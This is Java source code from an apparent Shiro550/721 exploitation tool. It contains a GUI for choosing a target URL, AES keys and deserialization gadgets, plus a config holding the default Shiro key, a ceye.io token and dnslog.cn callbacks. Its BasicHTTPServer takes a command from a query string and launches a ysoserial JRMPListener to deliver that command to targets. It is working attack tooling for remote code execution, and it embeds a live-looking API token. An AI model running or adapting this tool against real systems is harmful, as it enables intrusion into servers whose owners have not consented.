20 | import org.apache.commons.codec.binary.Hex; 21 | import org.controlsfx.control.CheckComboBox; 22 | import java.net.MalformedURLException; 23 | import java.net.URL; 24 | import java.util.ArrayList; 25 | import java.util.List; 26 | 27 | public class StartPane extends Application { 28 | private static final int HEIGHT = 35; 29 | private Config config = Config.getInstance(); 30 | private BorderPane borderPane = new BorderPane(); 31 | private BorderPane simpleRequestSubpane = new BorderPane(); 32 | private BorderPane complexRequestSubpane = new BorderPane(); 33 | private ComboBox comboBox = new ComboBox<>(); 34 | private CheckBox complexHttpRequest = new CheckBox("复杂Http请求"); 35 | private CheckBox useHttps = new CheckBox("使用Https"); 36 | private CheckBox specifyKeyAndGadget = new CheckBox("指定Key/Gadget/EchoType"); 37 | private CheckBox useBigKeyFile = new CheckBox("使用 keys.conf.big"); 38 | private TextField urlTextField = new TextField(); 39 | private TextArea cookieField = new TextArea(); 40 | private TextArea requestBodyField = new TextArea(); 41 | private ConfigPane configPane; 42 | private ProxyConfigPane proxyConfigPane; 43 | private Button next = new Button("下一步"); 44 | private CheckComboBox keyComboBox = new CheckComboBox<>(); 45 | private Button cleanKeySelection = new Button("重置"); 46 | private CheckComboBox gadgetComboBox = new CheckComboBox<>(); 47 | private Button cleanGadgetSelection = new Button("重置"); 48 | private CheckComboBox echoTypeComboBox = new CheckComboBox<>(); 49 | private Button cleanEchoTypeSelection = new Button("重置"); 50 | private Button proxy = new Button("设置代理"); 51 | private Button about = new Button("关于"); 52 | 53 | 54 | public static void main(String[] args) { 55 | launch(args); 56 | } 57 | 58 | @Override 59 | public void start(Stage primaryStage) throws Exception { 60 | 61 | Pane borderPane = new StartPane().getPane(); 62 | primaryStage.setTitle("Shiro550/721漏洞检测 v2.51 Final by飞鸿"); 63 | primaryStage.setScene(new Scene(borderPane, 800, 700)); 64 | primaryStage.show(); 65 | 66 | // //测试 67 | // MainPane pane = new MainPane(); 68 | // primaryStage.setTitle("Shiro550/721漏洞检测 by飞鸿"); 69 | // primaryStage.setScene(new Scene(pane.getPane(), 800,600)); 70 | // primaryStage.show(); 71 | } 72 | 73 | public StartPane(){ 74 | drawPane(); 75 | addListeners(); 76 | } 77 | 78 | public Pane getPane() { 79 | return borderPane; 80 | } 81 | 82 | private void drawPane(){ 83 | borderPane.setPadding(new Insets(10,10,10,10)); 84 | 85 | Label label = new Label("选择要验证的漏洞类型"); 86 | List data = new ArrayList<>(); 87 | data.add("Shiro550"); 88 | data.add("Shiro721"); 89 | comboBox.setItems(FXCollections.observableArrayList(data)); 90 | comboBox.setPrefHeight(HEIGHT); 91 | comboBox.setPrefWidth(150); 92 | comboBox.getSelectionModel().select(0); 93 | 94 | GridPane leftGridPane = new GridPane(); 95 | leftGridPane.setAlignment(Pos.CENTER_LEFT); 96 | leftGridPane.setHgap(20); 97 | leftGridPane.setVgap(10); 98 | leftGridPane.setPadding(new Insets(10,10,10,10)); 99 | 100 | useHttps.setDisable(true); 101 | 102 | leftGridPane.add(label, 0,0); 103 | leftGridPane.add(comboBox,1,0); 104 | leftGridPane.setColumnSpan(complexHttpRequest, 2); 105 | leftGridPane.add(complexHttpRequest,0,1); 106 | leftGridPane.setColumnSpan(useHttps, 2); 107 | leftGridPane.add(useHttps, 0, 2); 108 | leftGridPane.setColumnSpan(useBigKeyFile, 2); 109 | leftGridPane.add(useBigKeyFile, 0,3); 110 | leftGridPane.setColumnSpan(specifyKeyAndGadget, 2); 111 | leftGridPane.add(specifyKeyAndGadget, 0, 4); 112 | 113 | keyComboBox.getItems().addAll(FXCollections.observableArrayList(config.getKeys())); 114 | keyComboBox.setTitle("指定Key"); 115 | keyComboBox.setPrefWidth(280); 116 | keyComboBox.setDisable(true); 117 | 118 | gadgetComboBox.getItems().addAll(Tools.getPayloadNames()); 119 | gadgetComboBox.setTitle("指定Gadget"); 120 | gadgetComboBox.setDisable(true); 121 | gadgetComboBox.setPrefWidth(280); 122 | 123 | echoTypeComboBox.getItems().addAll(Tools.getEchoTypes()); 124 | echoTypeComboBox.setTitle("指定回显方式"); 125 | echoTypeComboBox.setDisable(true); 126 | echoTypeComboBox.setPrefWidth(280); 127 | 128 | cleanKeySelection.setDisable(true); 129 | cleanGadgetSelection.setDisable(true); 130 | cleanEchoTypeSelection.setDisable(true); 131 | 132 | GridPane rightGridPane = new GridPane(); 133 | rightGridPane.setAlignment(Pos.CENTER_RIGHT); 134 | rightGridPane.setHgap(20); 135 | rightGridPane.setVgap(10); 136 | rightGridPane.setPadding(new Insets(10,0,10,0)); 137 | 138 | HBox hBox = new HBox(); 139 | hBox.setAlignment(Pos.CENTER_RIGHT); 140 | hBox.getChildren().addAll(proxy, about); 141 | hBox.setMargin(about, new Insets(0,10,0,10)); 142 | rightGridPane.setColumnSpan(hBox,2); 143 | rightGridPane.add(hBox, 0, 0); 144 | rightGridPane.add(keyComboBox, 0, 1); 145 | rightGridPane.add(cleanKeySelection, 1,1); 146 | rightGridPane.add(gadgetComboBox, 0,2); 147 | rightGridPane.add(cleanGadgetSelection, 1,2); 148 | rightGridPane.add(echoTypeComboBox, 0,3); 149 | rightGridPane.add(cleanEchoTypeSelection, 1, 3); 150 | 151 | HBox topPane = new HBox(); 152 | topPane.setSpacing(40); 153 | topPane.getChildren().addAll(leftGridPane, rightGridPane); 154 | 155 | urlTextField.setPrefHeight(35); 156 | urlTextField.setPromptText("目标地址"); 157 | cookieField.setPrefHeight(300); 158 | cookieField.setWrapText(true); 159 | cookieField.setPromptText("rememberMe=dGhpcyBpcyBhIGRlbW9uc3RyYXRpb24gc3RyaW5nCg=="); 160 | cookieField.setDisable(true); 161 | simpleRequestSubpane.setPadding(new Insets(10,10,10,10)); 162 | simpleRequestSubpane.setTop(urlTextField); 163 | simpleRequestSubpane.setMargin(urlTextField, new Insets(0,0,20,0)); 164 | simpleRequestSubpane.setCenter(cookieField); 165 | 166 | requestBodyField.setPrefHeight(350); 167 | requestBodyField.setWrapText(true); 168 | requestBodyField.setPromptText("POST /someurl HTTP/1.1\r\n" + 169 | "Host: passport.feihong.com\r\n" + 170 | "Connection: close\r\n" + 171 | "Accept: application/json, text/javascript, */*; q=0.01\r\n" + 172 | "Accept-Encoding: gzip, deflate\r\n" + 173 | "Accept-Language: zh-CN,zh;q=0.9\r\n" + 174 | "Cookie: x-zp-client-id=bea678e6-7fa8-4cfd-8d23-5d98f8876702; rememberMe=dGhpcyBpcyBhIGRlbW9uc3RyYXRpb24gc3RyaW5nCg==\r\n\r\n" + 175 | "param1=value1¶m2=value2\r\n\r\n"); 176 | complexRequestSubpane.setPadding(new Insets(10,10,10,10)); 177 | complexRequestSubpane.setCenter(requestBodyField); 178 | 179 | borderPane.setTop(topPane); 180 | borderPane.setCenter(simpleRequestSubpane); 181 | 182 | HBox hbox = new HBox(); 183 | hbox.getChildren().add(this.next); 184 | hbox.setAlignment(Pos.CENTER); 185 | borderPane.setBottom(hbox); 186 | borderPane.setMargin(hbox, new Insets(10,0,10,0)); 187 | } 188 | 189 | private void addListeners(){ 190 | comboBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener() { 191 | @Override 192 | public void changed(ObservableValue observable, String oldValue, String newValue) { 193 | if(newValue.equalsIgnoreCase("shiro721")){ 194 | cookieField.setDisable(false); 195 | } 196 | 197 | if(newValue.equalsIgnoreCase("shiro550")){ 198 | cookieField.setDisable(true); 199 | } 200 | } 201 | }); 202 | 203 | 204 | complexHttpRequest.selectedProperty().addListener(new ChangeListener() { 205 | @Override 206 | public void changed(ObservableValue observable, Boolean oldValue, Boolean newValue) { 207 | if(newValue == true){ 208 | borderPane.setCenter(complexRequestSubpane); 209 | useHttps.setDisable(false); 210 | }else{ 211 | borderPane.setCenter(simpleRequestSubpane); 212 | useHttps.setSelected(false); 213 | useHttps.setDisable(true); 214 | } 215 | } 216 | }); 217 | 218 | 219 | useBigKeyFile.selectedProperty().addListener(new ChangeListener() { 220 | @Override 221 | public void changed(ObservableValue observable, Boolean oldValue, Boolean newValue) { 222 | if(newValue == true){ 223 | config.setKeys(ConfigReader.loadKeys(1)); 224 | keyComboBox.setTitle("指定Key"); 225 | }else{ 226 | config.setKeys(ConfigReader.loadKeys(0)); 227 | keyComboBox.setTitle("指定Key"); 228 | } 229 | 230 | keyComboBox.getItems().clear(); 231 | keyComboBox.getItems().addAll(config.getKeys()); 232 | } 233 | }); 234 | 235 | specifyKeyAndGadget.selectedProperty().addListener(new ChangeListener() { 236 | @Override 237 | public void changed(ObservableValue observable, Boolean oldValue, Boolean newValue) { 238 | if(newValue == true){ 239 | keyComboBox.setDisable(false); 240 | gadgetComboBox.setDisable(false); 241 | echoTypeComboBox.setDisable(false); 242 | 243 | cleanKeySelection.setDisable(false); 244 | cleanGadgetSelection.setDisable(false); 245 | cleanEchoTypeSelection.setDisable(false); 246 | }else{ 247 | keyComboBox.setDisable(true); 248 | gadgetComboBox.setDisable(true); 249 | echoTypeComboBox.setDisable(true); 250 | 251 | cleanKeySelection.setDisable(true); 252 | cleanGadgetSelection.setDisable(true); 253 | cleanEchoTypeSelection.setDisable(true); 254 | } 255 | } 256 | }); 257 | 258 | cleanKeySelection.setOnAction(event -> { 259 | keyComboBox.getCheckModel().clearChecks(); 260 | }); 261 | 262 | cleanGadgetSelection.setOnAction(event -> { 263 | gadgetComboBox.getCheckModel().clearChecks(); 264 | }); 265 | 266 | cleanEchoTypeSelection.setOnAction(event -> { 267 | echoTypeComboBox.getCheckModel().clearChecks(); 268 | }); 269 | 270 | proxy.setOnAction(new EventHandler() { 271 | @Override 272 | public void handle(ActionEvent event) { 273 | 274 | if(proxyConfigPane == null){ 275 | Stage newStage = new Stage(); 276 | proxyConfigPane = new ProxyConfigPane(StartPane.this); 277 | Pane pane = proxyConfigPane.getPane(); 278 | newStage.setTitle("设置代理"); 279 | newStage.setScene(new Scene(pane, 400, 250)); 280 | newStage.show(); 281 | }else{ 282 | Stage next = (Stage)proxyConfigPane.getPane().getScene().getWindow(); 283 | proxyConfigPane.update(); 284 | next.show(); 285 | } 286 | } 287 | }); 288 | 289 | about.setOnAction(new EventHandler() { 290 | @Override 291 | public void handle(ActionEvent event) { 292 | Stage newStage = new Stage(); 293 | AboutPane aboutPane = new AboutPane(); 294 | Pane pane = aboutPane.getPane(); 295 | newStage.setTitle("关于"); 296 | Scene scene = new Scene(pane, 600, 500); 297 | scene.getStylesheets().add(getClass().getResource("/my.css").toExternalForm()); 298 | newStage.setScene(scene); 299 | newStage.show(); 300 | } 301 | }); 302 | 303 | next.setOnAction(new EventHandler() { 304 | @Override 305 | public void handle(ActionEvent event) { 306 | config.setVulType(comboBox.getSelectionModel().getSelectedIndex()); 307 | 308 | if(specifyKeyAndGadget.isSelected()){ 309 | ObservableList selected = keyComboBox.getCheckModel().getCheckedItems(); 310 | if(selected.size() != 0){ 311 | config.setKeys(selected); 312 | } 313 | 314 | selected = gadgetComboBox.getCheckModel().getCheckedItems(); 315 | if(selected.size() != 0){ 316 | List list = new ArrayList<>(); 317 | for(String str : selected){ 318 | list.add(PayloadType.valueOf(str)); 319 | } 320 | 321 | config.setGadgets(list); 322 | } 323 | 324 | 325 | selected = echoTypeComboBox.getCheckModel().getCheckedItems(); 326 | if(selected.size() != 0){ 327 | List list = new ArrayList<>(); 328 | for(String str : selected){ 329 | list.add(EchoType.valueOf(str)); 330 | } 331 | 332 | config.setEchoTypes(list); 333 | } 334 | } 335 | 336 | Stage currentStage = (Stage)borderPane.getScene().getWindow(); 337 | if(!complexHttpRequest.isSelected()){ 338 | String url = urlTextField.getText(); 339 | url = url != null ? url.trim() : null; 340 | String cookie = cookieField.getText(); 341 | cookie = cookie != null ? cookie.trim() : null; 342 | 343 | boolean bool = validateURL(url); 344 | if(comboBox.getSelectionModel().getSelectedIndex() == 1){ 345 | bool = bool && validateCookie(url, cookie); 346 | } 347 | 348 | if(bool) { 349 | HttpRequestInfo httpRequestInfo = new HttpRequestInfo(); 350 | httpRequestInfo.setRequestMethod("GET"); 351 | httpRequestInfo.setRequestURL(url); 352 | if(config.getVulType() == 1) 353 | httpRequestInfo.setRememberMeCookie(Hex.encodeHexString(Base64.decodeBase64(cookie.split("=",2)[1]))); 354 | config.setRequestInfo(httpRequestInfo); 355 | 356 | final TestConnectionTask task = new TestConnectionTask(httpRequestInfo); 357 | task.valueProperty().addListener(new ChangeListener() { 358 | @Override 359 | public void changed(ObservableValue observable, Integer oldValue, Integer newValue) { 360 | if(task.getStatus() == 1){ 361 | nextStage(); 362 | } 363 | 364 | if(task.getStatus() == -1){ 365 | PromptMessageUI.getAlert("目标地址无法访问","您输入的 URL 无法正常访问"); 366 | } 367 | } 368 | }); 369 | 370 | PenddingUI penddingUI = new PenddingUI(task, currentStage); 371 | penddingUI.activateProgressBar(); 372 | } 373 | }else{ 374 | String requestBody = requestBodyField.getText(); 375 | HttpRequestInfo httpRequestInfo = new HttpRequestInfo(); 376 | 377 | if(requestBody == null || requestBody.trim().equals("")){ 378 | PromptMessageUI.getAlert("HTTP请求不能为空","请输入一个有效的HTTP请求"); 379 | return; 380 | } 381 | 382 | try{ 383 | httpRequestInfo.parse(requestBody, useHttps.isSelected()); 384 | }catch (Exception e){ 385 | PromptMessageUI.getAlert("HTTP请求格式不正确","请输入一个格式正确的HTTP请求"); 386 | return; 387 | } 388 | 389 | if(comboBox.getSelectionModel().getSelectedIndex() == 1){ 390 | if(httpRequestInfo.getRememberMeCookie() == null){ 391 | PromptMessageUI.getAlert("缺失有效的rememberMe Cookie","未提供rememberMe Cookie或者提供的remeberMe Cookie格式不正确"); 392 | return; 393 | } 394 | } 395 | 396 | config.setRequestInfo(httpRequestInfo); 397 | 398 | final TestConnectionTask task = new TestConnectionTask(httpRequestInfo); 399 | task.valueProperty().addListener(new ChangeListener() { 400 | @Override 401 | public void changed(ObservableValue observable, Integer oldValue, Integer newValue) { 402 | if(task.getStatus() == 1){ 403 | nextStage(); 404 | } 405 | 406 | if(task.getStatus() == -1){ 407 | PromptMessageUI.getAlert("目标地址无法访问","您输入的 Http 请求解析后无法正常访问"); 408 | } 409 | } 410 | }); 411 | 412 | PenddingUI penddingUI = new PenddingUI(task, currentStage); 413 | penddingUI.activateProgressBar(); 414 | 415 | } 416 | } 417 | }); 418 | } 419 | 420 | private void nextStage() { 421 | Stage currentStage = (Stage) borderPane.getScene().getWindow(); 422 | 423 | if(configPane == null){ 424 | Stage newStage = new Stage(); 425 | configPane = new ConfigPane(StartPane.this); 426 | Pane pane = configPane.getPane(); 427 | newStage.setTitle(Config.getInstance().getRequestInfo().getRequestURL()); 428 | newStage.setScene(new Scene(pane, 550, 500)); 429 | currentStage.hide(); 430 | newStage.show(); 431 | }else{ 432 | currentStage.hide(); 433 | Stage next = (Stage)configPane.getPane().getScene().getWindow(); 434 | next.show(); 435 | } 436 | 437 | } 438 | 439 | private boolean validateURL(String url){ 440 | if(url == null || url.trim().equals("")){ 441 | PromptMessageUI.getAlert("URL不能为空","请输入一个有效的URL"); 442 | return false; 443 | } 444 | 445 | if(!url.startsWith("http://") && !url.startsWith("https://")){ 446 | PromptMessageUI.getAlert("URL格式不正确","请输入完整的URL,包括http(s)前缀"); 447 | return false; 448 | } 449 | 450 | try{ 451 | URL u = new URL(url); 452 | } catch (MalformedURLException e) { 453 | PromptMessageUI.getAlert("URL格式不正确","请输入正确格式的URL"); 454 | return false; 455 | } 456 | 457 | return true; 458 | } 459 | 460 | 461 | private boolean validateCookie(String url, String cookie){ 462 | if(cookie == null || cookie.trim().equals("")){ 463 | PromptMessageUI.getAlert("Cookie不能为空","请输入一个有效的rememberMe Cookie"); 464 | return false; 465 | } 466 | 467 | if(!cookie.startsWith(config.getRememberMeCookieName() + "=")){ 468 | PromptMessageUI.getAlert("cookie格式不正确","请输入正确格式的rememberMe cookie"); 469 | return false; 470 | } 471 | 472 | return true; 473 | } 474 | } -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/server/BasicHTTPServer.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.server; 2 | 3 | import com.shiroexploit.util.PayloadType; 4 | import com.shiroexploit.util.Tools; 5 | import com.sun.net.httpserver.HttpContext; 6 | import com.sun.net.httpserver.HttpExchange; 7 | import com.sun.net.httpserver.HttpServer; 8 | import java.io.File; 9 | import java.io.IOException; 10 | import java.io.OutputStream; 11 | import java.net.InetSocketAddress; 12 | import java.net.URI; 13 | import java.util.HashSet; 14 | import java.util.Set; 15 | 16 | public class BasicHTTPServer { 17 | private static int listeningPort = 8080; 18 | private static int JRMPPort = 8088; 19 | private static Set memcache = new HashSet<>(); 20 | private static PayloadType payloadType; 21 | private static String previousType = ""; 22 | 23 | public static void main(String[] args) throws IOException { 24 | //如果命令行指定了参数,就使用命令行指定的参数,否则使用默认值 25 | if(args.length > 1){ 26 | BasicHTTPServer.listeningPort = Integer.parseInt(args[0]); 27 | BasicHTTPServer.JRMPPort = Integer.parseInt(args[1]); 28 | } 29 | 30 | HttpServer httpServer = HttpServer.create(new InetSocketAddress(listeningPort), 0); 31 | HttpContext contenxt1 = httpServer.createContext("/jrmp"); 32 | contenxt1.setHandler(BasicHTTPServer::handleJRMPRequest); 33 | // HttpContext contenxt2 = httpServer.createContext("/gadget"); 34 | // contenxt2.setHandler(BasicHTTPServer::handleGadgetRequest); 35 | // HttpContext contenxt3 = httpServer.createContext("/result"); 36 | // contenxt3.setHandler(BasicHTTPServer::handleResultRequest); 37 | HttpContext contenxt4 = httpServer.createContext("/echo"); 38 | contenxt4.setHandler(BasicHTTPServer::handleEchoRequest); 39 | httpServer.start(); 40 | System.out.println("[*] Start HTTP Service at port " + listeningPort); 41 | System.out.println("[*] JRMP Service will start at port " + JRMPPort); 42 | } 43 | 44 | private static void handleEchoRequest(HttpExchange exchange) throws IOException{ 45 | String response = "OK"; 46 | exchange.sendResponseHeaders(200, response.getBytes().length); 47 | OutputStream os = exchange.getResponseBody(); 48 | os.write(response.getBytes()); 49 | os.close(); 50 | } 51 | 52 | // private static void handleResultRequest(HttpExchange exchange) throws IOException{ 53 | // StringBuffer sb = new StringBuffer(); 54 | // for(String str : memcache){ 55 | // sb.append(str); 56 | // sb.append(","); 57 | // } 58 | // 59 | // if(sb.length() > 0){ 60 | // sb.deleteCharAt(sb.length()-1); 61 | // } 62 | // 63 | // String response = sb.toString(); 64 | // exchange.sendResponseHeaders(200, response.getBytes().length); 65 | // OutputStream os = exchange.getResponseBody(); 66 | // os.write(response.getBytes()); 67 | // os.close(); 68 | // } 69 | // 70 | // private static void handleGadgetRequest(HttpExchange exchange) throws IOException{ 71 | // URI requestURI = exchange.getRequestURI(); 72 | // String query = requestURI.getQuery(); 73 | // 74 | // //type参数只是为了打印,并不实际处理 75 | // String type = parse(query, "type"); 76 | // String uuid = parse(query,"uuid"); 77 | // if(type != null && isValidParameter(type) && uuid != null){ 78 | // memcache.add(uuid); 79 | // System.out.println("[+] Received a valid gadget request: " + type); 80 | // }else{ 81 | // System.out.println("[-] Received a invalid request: " + requestURI); 82 | // } 83 | // 84 | // String response = "OK"; 85 | // exchange.sendResponseHeaders(200, response.getBytes().length); 86 | // OutputStream os = exchange.getResponseBody(); 87 | // os.write(response.getBytes()); 88 | // os.close(); 89 | // } 90 | 91 | private static void handleJRMPRequest(HttpExchange exchange) throws IOException{ 92 | URI requestURI = exchange.getRequestURI(); 93 | String query = requestURI.getQuery(); 94 | 95 | Tools.killJRMPListener(BasicHTTPServer.JRMPPort); 96 | 97 | String type = parse(query, "type"); 98 | String cmd = parse(query, "cmd"); 99 | 100 | if(type != null && isValidParameter(type) && cmd != null){ 101 | // cmd = URLDecoder.decode(cmd,"UTF-8"); 102 | // cmd = cmd.replace("&type","%26type"); 103 | String finalCmd = cmd; 104 | Thread thread = new Thread(new Runnable() { 105 | @Override 106 | public void run() { 107 | String command = "java -cp \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" ysoserial.exploit.JRMPListener " + BasicHTTPServer.JRMPPort + " " + type + " \"" + finalCmd +"\""; 108 | Tools.exec(command); 109 | } 110 | }); 111 | thread.start(); 112 | if(!previousType.equalsIgnoreCase(type)){ 113 | System.out.println("[*] Start JRMPListener for paylaod " + type); 114 | previousType = type; 115 | } 116 | 117 | }else{ 118 | System.out.println("[-] Received a invalid request: " + requestURI); 119 | } 120 | 121 | String response = "OK"; 122 | exchange.sendResponseHeaders(200, response.getBytes().length); 123 | OutputStream os = exchange.getResponseBody(); 124 | os.write(response.getBytes()); 125 | os.close(); 126 | } 127 | 128 | 129 | private static String parse(String query, String name){ 130 | try{ 131 | String[] params = query.split("&"); 132 | for(String param : params){ 133 | String[] pair = param.split("=",2); 134 | String key = pair[0]; 135 | String value = pair[1]; 136 | if(key.equalsIgnoreCase(name)){ 137 | return value; 138 | } 139 | } 140 | 141 | return null; 142 | }catch(Exception e){ 143 | return null; 144 | } 145 | } 146 | 147 | private static boolean isValidParameter(String type){ 148 | for(PayloadType payloadType : PayloadType.values()){ 149 | if(type.equalsIgnoreCase(payloadType.getName())){ 150 | return true; 151 | } 152 | } 153 | 154 | return false; 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/task/GetDNSLogRecordTask.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.task; 2 | 3 | import com.shiroexploit.util.Config; 4 | import javafx.concurrent.Task; 5 | import java.io.BufferedReader; 6 | import java.io.IOException; 7 | import java.io.InputStream; 8 | import java.io.InputStreamReader; 9 | import java.net.HttpURLConnection; 10 | import java.net.URL; 11 | 12 | public class GetDNSLogRecordTask extends Task { 13 | 14 | private int status = 0; 15 | private Config config; 16 | 17 | public int getStatus(){ 18 | return status; 19 | } 20 | 21 | public GetDNSLogRecordTask(Config config){ 22 | this.config = config; 23 | } 24 | 25 | @Override 26 | protected Integer call(){ 27 | HttpURLConnection connection = null; 28 | InputStream inputStream = null; 29 | BufferedReader reader = null; 30 | StringBuffer sb = new StringBuffer(); 31 | 32 | try 33 | { 34 | connection = (HttpURLConnection)new URL("http://www.dnslog.cn/getdomain.php").openConnection(); 35 | connection.setRequestMethod("GET"); 36 | connection.setConnectTimeout(5000); 37 | connection.setReadTimeout(5000); 38 | connection.connect(); 39 | 40 | int responseCode = connection.getResponseCode(); 41 | if (responseCode == 200) { 42 | String sessinoId = connection.getHeaderField("Set-Cookie"); 43 | sessinoId = sessinoId.split(";")[0]; 44 | 45 | inputStream = connection.getInputStream(); 46 | reader = new BufferedReader(new InputStreamReader(inputStream)); 47 | String line; 48 | while ((line = reader.readLine()) != null) { 49 | sb.append(line); 50 | } 51 | 52 | Config.getInstance().setSessionId(sessinoId); 53 | Config.getInstance().setDnsLogRecord(sb.toString()); 54 | status = 1; 55 | return 1; 56 | } 57 | } 58 | catch (IOException e) { 59 | status = -1; 60 | return 1; 61 | } finally { 62 | try { 63 | if (connection != null) connection.disconnect(); 64 | if (inputStream != null) inputStream.close(); 65 | if (reader != null) reader.close(); 66 | } catch (IOException e) { 67 | status = -1; 68 | return 1; 69 | } 70 | } 71 | 72 | status = -1; 73 | return 1; 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/task/TestConnectionTask.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.task; 2 | 3 | import com.shiroexploit.util.HttpRequest; 4 | import com.shiroexploit.util.HttpRequestInfo; 5 | import javafx.concurrent.Task; 6 | 7 | import java.io.IOException; 8 | 9 | public class TestConnectionTask extends Task { 10 | 11 | private int status = 0; 12 | private HttpRequestInfo httpRequestInfo; 13 | 14 | public int getStatus(){ 15 | return status; 16 | } 17 | 18 | public TestConnectionTask(HttpRequestInfo httpRequestInfo){ 19 | this.httpRequestInfo = httpRequestInfo; 20 | } 21 | 22 | 23 | @Override 24 | protected Integer call() { 25 | try{ 26 | HttpRequest.getResponse(httpRequestInfo); 27 | } catch (IOException e) { 28 | status = -1; 29 | return 1; 30 | } 31 | 32 | status = 1; 33 | return 1; 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/util/Config.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.util; 2 | 3 | import java.util.*; 4 | 5 | public class Config { 6 | private static Config config; 7 | private List keys; 8 | private List gadgets; 9 | private List echoTypes; 10 | // 0 for Shiro550, 1 for Shiro721 11 | private int vulType = 0; 12 | // 0 for ceye.io, 1 for dnslog.cn, 2 for JRMP + dnslog.cn, 3 for echo 13 | private int checkMethod = 0; 14 | private boolean skipIfFound = true; 15 | private String ceyeDomain; 16 | private String ceyeToken; 17 | private String JRMPServiceAddress; 18 | private int HTTPServicePort; 19 | private int JRMPServicePort; 20 | private int fetchDNSLogResultDealy; 21 | private int JRMPRequestDelay; 22 | private HttpRequestInfo requestInfo; 23 | private String rememberMeCookieName; 24 | private String sessionId; 25 | private String dnsLogRecord; 26 | private String staticFilePath; 27 | private String proxyIP; 28 | private int proxyPort; 29 | private boolean proxyEnabled; 30 | 31 | public static Config getInstance(){ 32 | //懒汉式 33 | if(config == null){ 34 | config = new Config(); 35 | 36 | //初始化key 37 | List list = ConfigReader.loadKeys(0); 38 | 39 | if(list.size() == 0){ 40 | list.add("kPH+bIxk5D2deZiIxcaaaA=="); 41 | } 42 | 43 | config.setKeys(list); 44 | 45 | config.setGadgets(new ArrayList<>(Arrays.asList(PayloadType.values()))); 46 | 47 | //参考: https://blog.csdn.net/burger1221/article/details/90638668 48 | //默认不使用 WindowsEcho, Use With Caution 49 | config.setEchoTypes(new ArrayList<>(Arrays.asList(EchoType.values()))); 50 | config.getEchoTypes().remove(EchoType.WindowsEcho); 51 | 52 | String value = ConfigReader.getConfig("rememberMeCookieName"); 53 | value = value == null ? "rememberMe" : value.trim(); 54 | config.setRememberMeCookieName(value); 55 | 56 | String ceyeDomain = ConfigReader.getConfig("ceyeDomain"); 57 | ceyeDomain = ceyeDomain == null ? "7wtusr.ceye.io" : ceyeDomain.trim(); 58 | config.setCeyeDomain(ceyeDomain); 59 | 60 | String ceyeToken = ConfigReader.getConfig("ceyeToken"); 61 | ceyeToken = ceyeToken == null ? "a78a1cb49d91fe09e01876078d1868b2" : ceyeToken.trim(); 62 | config.setCeyeToken(ceyeToken); 63 | 64 | String fetchDNSLogResultDealy = ConfigReader.getConfig("fetchDNSLogResultDealy"); 65 | int time = fetchDNSLogResultDealy == null ? 5 : Integer.parseInt(fetchDNSLogResultDealy.trim()); 66 | config.setFetchDNSLogResultDealy(time); 67 | 68 | String JRMPRequestDelay = ConfigReader.getConfig("JRMPRequestDelay"); 69 | time = JRMPRequestDelay == null ? 2 : Integer.parseInt(JRMPRequestDelay.trim()); 70 | config.setJRMPRequestDelay(time); 71 | } 72 | 73 | return config; 74 | } 75 | 76 | public List getGadgets() { 77 | return gadgets; 78 | } 79 | 80 | public void setGadgets(List gadgets) { 81 | this.gadgets = gadgets; 82 | } 83 | 84 | public List getEchoTypes() { 85 | return echoTypes; 86 | } 87 | 88 | public void setEchoTypes(List echoTypes) { 89 | this.echoTypes = echoTypes; 90 | } 91 | 92 | public String getStaticFilePath() { 93 | return staticFilePath; 94 | } 95 | 96 | public void setStaticFilePath(String staticFilePath) { 97 | this.staticFilePath = staticFilePath; 98 | } 99 | 100 | public int getFetchDNSLogResultDealy() { 101 | return fetchDNSLogResultDealy; 102 | } 103 | 104 | public void setFetchDNSLogResultDealy(int fetchDNSLogResultDealy) { 105 | this.fetchDNSLogResultDealy = fetchDNSLogResultDealy; 106 | } 107 | 108 | public int getJRMPRequestDelay() { 109 | return JRMPRequestDelay; 110 | } 111 | 112 | public void setJRMPRequestDelay(int JRMPRequestDelay) { 113 | this.JRMPRequestDelay = JRMPRequestDelay; 114 | } 115 | 116 | public String getSessionId() { 117 | return sessionId; 118 | } 119 | 120 | public void setSessionId(String sessionId) { 121 | this.sessionId = sessionId; 122 | } 123 | 124 | public String getDnsLogRecord() { 125 | return dnsLogRecord; 126 | } 127 | 128 | public void setDnsLogRecord(String dnsLogRecord) { 129 | this.dnsLogRecord = dnsLogRecord; 130 | } 131 | 132 | public String getRememberMeCookieName() { 133 | return rememberMeCookieName; 134 | } 135 | 136 | public void setRememberMeCookieName(String rememberMeCookieName) { 137 | this.rememberMeCookieName = rememberMeCookieName; 138 | } 139 | 140 | public HttpRequestInfo getRequestInfo() { 141 | return requestInfo; 142 | } 143 | 144 | public void setRequestInfo(HttpRequestInfo requestInfo) { 145 | this.requestInfo = requestInfo; 146 | } 147 | 148 | public int getCheckMethod() { 149 | return checkMethod; 150 | } 151 | 152 | public void setCheckMethod(int checkMethod) { 153 | this.checkMethod = checkMethod; 154 | } 155 | 156 | public List getKeys() { 157 | return keys; 158 | } 159 | 160 | public void setKeys(List keys) { 161 | this.keys = keys; 162 | } 163 | 164 | public int getVulType() { 165 | return vulType; 166 | } 167 | 168 | public void setVulType(int vulType) { 169 | this.vulType = vulType; 170 | } 171 | 172 | public boolean isSkipIfFound() { 173 | return skipIfFound; 174 | } 175 | 176 | public void setSkipIfFound(boolean skipIfFound) { 177 | this.skipIfFound = skipIfFound; 178 | } 179 | 180 | public String getCeyeDomain() { 181 | return ceyeDomain; 182 | } 183 | 184 | public String getCeyeToken() { 185 | return ceyeToken; 186 | } 187 | 188 | public void setCeyeDomain(String ceyeDomain) { 189 | this.ceyeDomain = ceyeDomain; 190 | } 191 | 192 | public void setCeyeToken(String ceyeToken) { 193 | this.ceyeToken = ceyeToken; 194 | } 195 | 196 | public String getJRMPServiceAddress() { 197 | return JRMPServiceAddress; 198 | } 199 | 200 | public void setJRMPServiceAddress(String JRMPServiceAddress) { 201 | this.JRMPServiceAddress = JRMPServiceAddress; 202 | } 203 | 204 | public int getHTTPServicePort() { 205 | return HTTPServicePort; 206 | } 207 | 208 | public void 